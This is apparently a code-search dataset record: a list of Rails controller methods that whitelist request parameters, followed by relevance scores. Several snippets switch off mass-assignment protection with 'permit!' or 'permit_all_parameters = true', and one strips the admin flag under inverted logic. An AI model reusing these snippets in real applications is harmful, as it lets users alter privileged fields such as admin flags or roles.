[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Set classname for concerns to set the other parameters
def set_resource_class_name @resource_class_name = 'Cafe' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def concerns(*args); end", "def declare_concern( concern_name )\n concern concern_name do\n collection do\n get concern_name\n end\n end\n end", "def concerns(*args)\n options = args.extract_options!\n args.flatten.each do |name|\n if concern = @concerns[name]\n concern.call(self, options)\n else\n raise ArgumentError, \"No concern named #{name} was found!\"\n end\n end\n end", "def className _args\n \"className _args;\" \n end", "def set_classname\n @classname = Classname.find(params[:id])\n end", "def add_class(name); end", "def add_class(name); end", "def append_class(name); end", "def append_class(name); end", "def setup(klass, *methods)\n \n end", "def class_name\n @class_name ||= (@options[:class_name] || @name).to_s.camelize\n end", "def target_class_name\n options[:class_name] || name.to_s.classify\n end", "def model name, **params\n # <<- CLOSURE_SCOPE\n current = @current # closure scope\n params = @environs.merge params if @environs\n filled_or_maybe = optionality(params)\n params[:class] ||= name.to_s.gsub(/(?:\\A|_)./) { |m| m[-1].upcase }\n # CLOSURE_SCOPE\n\n schema do\n __send__(current, name).__send__(filled_or_maybe, model?: params[:class])\n end\n\n define_helper_methods name\n end", "def using_model(class_name)\n class_name = class_name.name if Class === class_name\n @expected_options[:class_name] = class_name\n self\n end", "def classname_params\n params.require(:classname).permit(:classname)\n end", "def initialize(name, instrument, vice) #this automatically sets up default information for the selected class\n @name = name\n @instrument = instrument\n @vice = vice\n end", "def set_api_v1_concern\n @api_v1_concern = Api::V1::Concern.find(params[:id])\n end", "def call(attrs)\n define_class(attrs)\n define_const if const_name\n @klass\n end", "def helper_class=(_arg0); end", "def clazz( name )\n\t\t\t\tKesh::ArgTest::type( \"name\", name, String )\n\t\t\t\tKesh::ArgTest::stringLength( \"name\", name, 1 )\t\t\t\n\t\t\t\treturn Kesh::Loader::ClassInfo.new( self, name )\n\t\t\tend", "def concerns(service_type)\n self.send :include,\n \"Trackerific::Services::Concerns::#{service_type}\".constantize\n end", "def configure_class(tool_class, given_name = nil)\n return if tool_class.name.nil? || tool_class.instance_variable_defined?(:@__loader)\n\n mod_names = tool_class.name.split(\"::\")\n class_name = mod_names.pop\n parent = parent_from_mod_name_segments(mod_names)\n loader = parent.instance_variable_get(:@__loader)\n name = given_name ? loader.split_path(given_name) : class_name_to_tool_name(class_name)\n\n priority = parent.instance_variable_get(:@__priority)\n words = parent.instance_variable_get(:@__words) + name\n subtool = loader.get_tool(words, priority, tool_class)\n\n remaining_words = parent.instance_variable_get(:@__remaining_words)\n next_remaining = name.reduce(remaining_words) do |running_words, word|\n Loader.next_remaining_words(running_words, word)\n end\n\n tool_class.instance_variable_set(:@__words, words)\n tool_class.instance_variable_set(:@__priority, priority)\n tool_class.instance_variable_set(:@__loader, loader)\n tool_class.instance_variable_set(:@__source, [current_source_from_context])\n tool_class.instance_variable_set(:@__remaining_words, next_remaining)\n tool_class.instance_variable_set(:@__cur_tool, subtool)\n end", "def set_as_the_collection_class\n config = 'config/initializers/hyrax.rb'\n lastmatch = nil\n in_root do\n File.open(config).each_line do |line|\n lastmatch = line if line.match?(/config.collection_model = /)\n end\n content = \" # Injected via `rails g hyrax:collection_resource #{class_name}`\\n\" \\\n \" config.collection_model = '#{class_name}'\\n\"\n\n anchor = lastmatch || \"Hyrax.config do |config|\\n\"\n inject_into_file config, after: anchor do\n content\n end\n end\n end", "def setup(model_class); end", "def setup(model_class); end", "def setup(klass)\n @klass = klass\n end", "def model_class=(_arg0); end", "def _class\n special_attribute('@class'.freeze) || self.class.name.demodulize\n end", "def setup(klass)\n @klass = klass\n end", "def create_class\n attributes = content['attributes']\n mod.const_set class_name, Class.new(parent_class) {\n attr_accessor(*attributes)\n # include Concerns::Extendable\n }\n end", "def class_name=(name)\n %x{\n for (var i = 0, length = self.length; i < length; i++) {\n self[i].className = name;\n }\n }\n self\n end", "def initialize(*args) #:nodoc:\n super\n @controller_name = name.pluralize\n\n base_name, @controller_class_path, @controller_file_path, class_nesting, class_nesting_depth = extract_modules(@controller_name)\n class_name_without_nesting, @controller_file_name, controller_plural_name = inflect_names(base_name)\n\n @controller_class_name = if class_nesting.empty?\n class_name_without_nesting\n else\n \"#{class_nesting}::#{class_name_without_nesting}\"\n end\n end", "def app_class=(_arg0); end", "def app_class=(_arg0); end", "def abstract_class=(_arg0); end", "def abstract_class=(_arg0); end", "def set_cage_type\n @cage_type = class_instance_name_by_controller\n end", "def setup_trait(options);end", "def class_set class_name, data\n\t\t\t\t@monitor.synchronize do\t\t\t\t\t\n\t\t\t\t\tnamespace = Module.namespace_for class_name\n\t\t\t\t\tnamespace = namespace ? namespace.to_s : nil\n\t\t\t\t\tfound = true\n\t\t\t\t\tproviders.each do |p|\n\t\t\t\t\t\tnext unless !namespace or p.class_exist?(namespace)\n\t\t\t\t\t\tp.class_set class_name, data\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\t\traise \"Namespace '#{namespace}' doesn't exist!\" unless found\n\t\t\t\tend\n\t\t\tend", "def class_name\n Heroics.camel_case(name)\n end", "def log_class_name=(value)\n @@log_class_name = value\n end", "def class=(_arg0); end", "def set_clasification\n @clasification = Clasification.find(params[:id])\n end", "def class_name; end", "def class_name; end", "def pearified_classname\n self\n end", "def class_name\n @class_name ||= (options[:class_name] || derive_class_name).to_s\n end", "def class_name\n @class_name ||= (options[:class_name] || derive_class_name).to_s\n end", "def setup\n super\n @notify_method_name = true\n end", "def class_name\r\n assert_exists\r\n option_class_name\r\n end", "def set_configuration_name(opts)\n opts = check_params(opts,[:config_names])\n super(opts)\n end", "def klass=(_arg0); end", "def setup!\n setup_defaults!\n setup_instance_methods!\n @owner_class.embedded = true\n self\n end", "def classname\n @classname ||= self.class.name.split(\"::\")[1..-1].join(\"::\")\n end", "def initialize(args, options = {})\n @options = options\n @options.update(args.pop) if args.last.is_a?(Hash)\n\n target_name = if collection\n :target_plural_name\n else\n :target_singular_name\n end\n\n # Check that all needed options are provided.\n\n if args.empty? or (not (args.last.is_a?(Class) or args.last.is_a?(Symbol)))\n raise \"Class of target not defined\"\n end\n\n # Try to set the target class. Checks for class and\n # class symbol.\n\n if args.last.to_s.capitalized?\n @options[:target_class] = args.pop\n end\n\n # Try to set the target name.\n\n if args.last.is_a? Symbol\n @options[target_name] = args.pop\n end\n\n # Set the name of the relation.\n\n options[:name] = options[target_name]\n\n # Is the relation polymorphic? If so mark the class as\n # polymorphic.\n\n if polymorphic_marker?\n owner_class = options[:owner_class]\n options[:target_class] = Object\n owner_class.ann(:self, :polymorphic => :parent)\n owner_class.ann(:self, :polymorphic_relation => options[:name])\n owner_class.send(:include, Og::Mixin::Unmanageable)\n end\n\n # Inflect target_class if not provided.\n\n @options[:target_class] ||= @options[target_name].to_s.singular.camelcase.intern\n end", "def initialize(options)\n @classes = options[:classes]\n super\n end", "def concern(desc=nil, &block)\n cls = Class.new(TestCase, &block)\n cls.desc(desc) if desc\n cls\n end", "def make_class(*args)\n view_class=args.inject(Kernel) {|scope, const_name| scope.const_get(const_name)}\n view_class\n end", "def bowler_class_params\n params[:bowler_class].permit(:name)\n end", "def api_v1_concern_params\n params.fetch(:api_v1_concern, {})\n end", "def set_naming_convention\n repository(:default).adapter.\n resource_naming_convention = lambda do |value|\n underscore(class_basename(value))\n end\n end", "def add_class(name)\n @catalog.add_class(name) unless name == \"\"\n end", "def traitclass_params\n params.require(:traitclass).permit(:user_id, :class_name, :class_notes, :contextual)\n end", "def initialize(*args)\n super\n self.type = self.class.name\n end", "def initialize(*)\n super\n model.plugin :forme\n @params_name = model.new.forme_namespace\n end", "def hook_class_name; end", "def create\n @api_v1_concern = Api::V1::Concern.new(api_v1_concern_params)\n\n respond_to do |format|\n if @api_v1_concern.save\n format.html { redirect_to @api_v1_concern, notice: 'Concern was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_concern }\n else\n format.html { render :new }\n format.json { render json: @api_v1_concern.errors, status: :unprocessable_entity }\n end\n end\n end", "def class_info?; \"#{self.class.name}\" end", "def set_klass\n @set_klass ||= SET_KLASS[[prioritized, pairwise]]\n end", "def component_class\n raise NotImplementedError, 'Specify component class in settings model.'\n end", "def setup!\n setup_instance_methods!\n self\n end", "def confection(name, *args)\n config_block = Confection[name.to_sym]\n if config_block\n Confection::Controller.new(config_block) do |*args|\n instance_exec *args, &config_block\n end\n else\n warn \"no configuration -- `#{name}'\"\n end\nend", "def set_social_concern\n @social_concern = SocialConcern.find(params[:id])\n end", "def initialize(make, model, classification, owner)\n @make = make\n @model = model\n @classification = classification\n @owner = owner\n @@all << self\n end", "def noun_class(name)\n self.send(name)\n end", "def owner_class=(klass); end", "def exposes(model_class)\n @model_class = model_class.to_s.singularize.camelize.constantize\n end", "def setup_class\n _config = create_configuration\n @client = Client.new(config: _config)\n _auth_managers = @client.auth_managers\n end", "def read_concern\n options[:read_concern]\n end", "def connection_class=(_arg0); end", "def namespace_inheritance=(_arg0); end", "def namespace_inheritance=(_arg0); end", "def write_concern\n @write_concern ||= WriteConcern.get(options[:write_concern] || options[:write])\n end", "def set_type\n @type = controller_name.classify\n end", "def set_type\n @type = controller_name.classify\n end", "def setup\n @base_title = \"BookRecommender\"\n end", "def set_client_class(cls)\n @@client_class = cls\n end", "def initialize_resources_class_accessors! #:nodoc:\n\n\n # First priority is the namespaced model, e.g. User::Group\n self.resource_class ||= begin\n namespaced_class = self.name.sub(/Controller/, '').singularize\n namespaced_class.constantize\n rescue NameError\n nil\n end\n\n\n\n # Second priority is the top namespace model, e.g. EngineName::Article for EngineName::Admin::ArticlesController\n self.resource_class ||= begin\n namespaced_classes = self.name.sub(/Controller/, '').split('::')\n namespaced_class = [namespaced_classes.first, namespaced_classes.last].join('::').singularize\n namespaced_class.constantize\n rescue NameError\n nil\n end\n\n\n\n # Third priority the camelcased c, i.e. UserGroup\n self.resource_class ||= begin\n camelcased_class = self.name.sub(/Controller/, '').gsub('::', '').singularize\n camelcased_class.constantize\n rescue NameError\n nil\n end\n\n\n\n # Otherwise use the Group class, or fail\n self.resource_class ||= begin\n class_name = self.controller_name.classify\n class_name.constantize\n rescue NameError => e\n raise unless e.message.include?(class_name)\n nil\n end\n\n\n\n self.resource_instance_name = self.controller_name.singularize.to_sym #test_name\n\n self.collection_name = self.controller_name.to_sym\n\n\n\t\tself.resource_name = resource_class.to_s\n\n end", "def define_setting(name, default = nil)\n class_variable_set(\"@@#{name}\", default)\n define_class_method \"#{name}=\" do |value|\n class_variable_set(\"@@#{name}\", value)\n end\n define_class_method name do\n class_variable_get(\"@@#{name}\")\n end\n end", "def name_and_class\n [name, self['class']].compact.join('.')\n end", "def set_oauth_service_info(strategy_class, config)\n strategy_class.const_set(\"CONFIG\", config) unless strategy_class.const_defined?(\"CONFIG\")\n end", "def set_resource_class_name\n @resource_class_name = 'Event'\n end", "def initialize(config=nil, name=nil, klass=nil)\n @name = name.nil? ? self.class.name : name\n @klass = klass.nil? ? self.class.name : klass\n @config = config\n end", "def class_with_model_name # :nodoc:\n self.class_without_model_name.tap do |c|\n c.instance_variable_set('@_model_name', @model_name)\n (class << c; self; end).send(:define_method,:model_name) do\n model_namer = Struct.new(:name).new(self.instance_variable_get('@_model_name'))\n ActiveModel::Name.new(model_namer)\n end\n end\n end", "def cloaking_class\n class << self\n self\n end\n end", "def controller_name(name)\n @controller_class_name = \"#{name}_controller\".camelize\n end", "def config(mod, *accessors); end", "def initialize_attributes\n @loader_for = 'class'\n @type_path = ''\n @module = ::Interferon\n end", "def set clazz, *args\n @logger = clazz.send(:new, *args)\n end", "def initialize(name,args,type,scope,abstraction)\n @name = name\n @args = args\n @type = type\n @scope = scope\n @abstraction = abstraction\n end" ]
[ "0.7065537", "0.6229327", "0.60437655", "0.5686859", "0.56718034", "0.5662666", "0.5662666", "0.5636472", "0.5636472", "0.55258137", "0.55257255", "0.54790676", "0.5468865", "0.5408179", "0.54029024", "0.53834873", "0.53586847", "0.5314786", "0.53100526", "0.52948093", "0.52734494", "0.5262749", "0.5258299", "0.5247532", "0.5247532", "0.52225494", "0.5218904", "0.52062666", "0.52002156", "0.51931983", "0.51899725", "0.51855445", "0.51816404", "0.51816404", "0.51750755", "0.51750755", "0.5174467", "0.51712763", "0.51521933", "0.51227415", "0.5099905", "0.5099212", "0.5098211", "0.50938433", "0.50938433", "0.5079884", "0.5070136", "0.5070136", "0.50191766", "0.49906424", "0.49889398", "0.4978807", "0.4978782", "0.497366", "0.49634144", "0.4961508", "0.4959163", "0.49578273", "0.49480614", "0.49363387", "0.4935495", "0.4934352", "0.49306673", "0.49289644", "0.49289522", "0.4928303", "0.49243304", "0.49074018", "0.489939", "0.48974255", "0.48962215", "0.48831132", "0.48815143", "0.48797148", "0.4877903", "0.48757327", "0.48695585", "0.48636597", "0.4857921", "0.48509976", "0.48496103", "0.48496103", "0.48460814", "0.48441777", "0.48441777", "0.48440474", "0.48406848", "0.48358658", "0.48344538", "0.4827082", "0.48257917", "0.48247945", "0.48235178", "0.48228508", "0.4821793", "0.48183513", "0.48126292", "0.4809239", "0.4805162", "0.48033327" ]
0.55633104
9
If adding new models also update filter_options_for_edition
def document_creation_dropdown tag.ul( class: "masthead-menu list-unstyled js-hidden js-navbar-toggle__menu hide-before-js-module-init", id: "new-document-menu", role: "menu", "aria-labelledby" => "new-document-label", ) do edition_types = [ Consultation, Publication, NewsArticle, Speech, DetailedGuide, DocumentCollection, FatalityNotice, CaseStudy, StatisticalDataSet, CallForEvidence, ] edition_types .select { |edition_type| can?(:create, edition_type) } .map { |edition_type| tag.li(class: "masthead-menu-item") do link_to( edition_type.model_name.human, polymorphic_path([:new, :admin, edition_type.name.underscore.to_sym]), title: "Create #{edition_type.model_name.human.titleize}", role: "menuitem", ) end } .join .html_safe end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def after_update\n super\n clear_instance_filters\n end", "def add_filter\n @filter = true \n end", "def add_edition\n @item.edition = @bib.edition.content if @bib.edition\n end", "def update!(**args)\n @filter_options = args[:filter_options] if args.key?(:filter_options)\n @source = args[:source] if args.key?(:source)\n end", "def update!(**args)\n @filter_options = args[:filter_options] if args.key?(:filter_options)\n @source = args[:source] if args.key?(:source)\n end", "def add_filter\n choice = Choice.find(params[:id])\n recommendation = Integer(params[:recommendation])\n product_filter_feature = case params[:type_filter]\n when \"product\" then ProductFilter::ProductFilterSimple.create_from_product(Product.find(params[:product_id]), recommendation)\n when \"feature\" then ProductFilter::ProductFilterFeature.create_from_feature(Feature.find(params[:feature_id]), recommendation)\n when \"rating\" then ProductFilter::ProductFilterRating.create_from_rating(Feature.find(params[:feature_id]), recommendation)\n end\n choice.product_filters << product_filter_feature\n redirect_to(edit_question_path(choice.question_id))\n end", "def update!(**args)\n @composite_filter = args[:composite_filter] if args.key?(:composite_filter)\n @value_filter = args[:value_filter] if args.key?(:value_filter)\n end", "def update!(**args)\n @composite_filter = args[:composite_filter] if args.key?(:composite_filter)\n @value_filter = args[:value_filter] if args.key?(:value_filter)\n end", "def update!(**args)\n @filter_created = args[:filter_created] if args.key?(:filter_created)\n @filter_deleted = args[:filter_deleted] if args.key?(:filter_deleted)\n @filter_id = args[:filter_id] if args.key?(:filter_id)\n end", "def update!(**args)\n @filter = args[:filter] if args.key?(:filter)\n @object_type = args[:object_type] if args.key?(:object_type)\n end", "def update!(**args)\n @filter = args[:filter] if args.key?(:filter)\n @object_type = args[:object_type] if args.key?(:object_type)\n end", "def set_filter_options\n @sort_modes = Organization.sort_modes\n @view_modes = Organization.view_modes\n\n @current_sort_mode = if @sort_modes.keys.include?(params[:sort_by])\n params[:sort_by]\n else\n @sort_modes.keys.first\n end\n\n @current_view_mode = if @view_modes.keys.include?(params[:view])\n params[:view]\n else\n @view_modes.keys.first\n end\n\n @query = params[:query]\n end", "def set_attributes(attrs)\n if attrs.has_key?(\"filters\")\n attrs = attrs.merge(attrs[\"filters\"])\n end\n super(attrs)\n end", "def update!(**args)\n @filter = args[:filter] if args.key?(:filter)\n end", "def update!(**args)\n @filter = args[:filter] if args.key?(:filter)\n end", "def filters_field_changed\n assert_privileges('my_settings_default_filters')\n return unless load_edit(\"config_edit__ui3\", \"configuration\")\n\n id = params[:id].split('-').last.to_i\n @edit[:new].find { |x| x[:id] == id }[:search_key] = params[:check] == '1' ? nil : '_hidden_'\n @edit[:current].each_with_index do |arr, i| # needed to compare each array element's attributes to find out if something has changed\n next if @edit[:new][i][:search_key] == arr[:search_key]\n\n @changed = true\n break\n end\n @changed ||= false\n render :update do |page|\n page << javascript_prologue\n page << javascript_for_miq_button_visibility(@changed)\n end\n end", "def update!(**args)\n @display_options = args[:display_options] if args.key?(:display_options)\n @freshness_options = args[:freshness_options] if args.key?(:freshness_options)\n @suggestion_filtering_operators = args[:suggestion_filtering_operators] if args.key?(:suggestion_filtering_operators)\n end", "def apply_option_to_product\n @product = Product.find(params[:product_id])\n \n @product_option = ProductOption.find(params[:product_option][:id])\n @product_option.update_attributes(params[:product_option])\n\n product_option_instance = ProductOptionInstance.new(:product => @product, \n :product_option => @product_option)\n \n product_option_instance.save\n\n @available_options = ProductOption.find(:all, 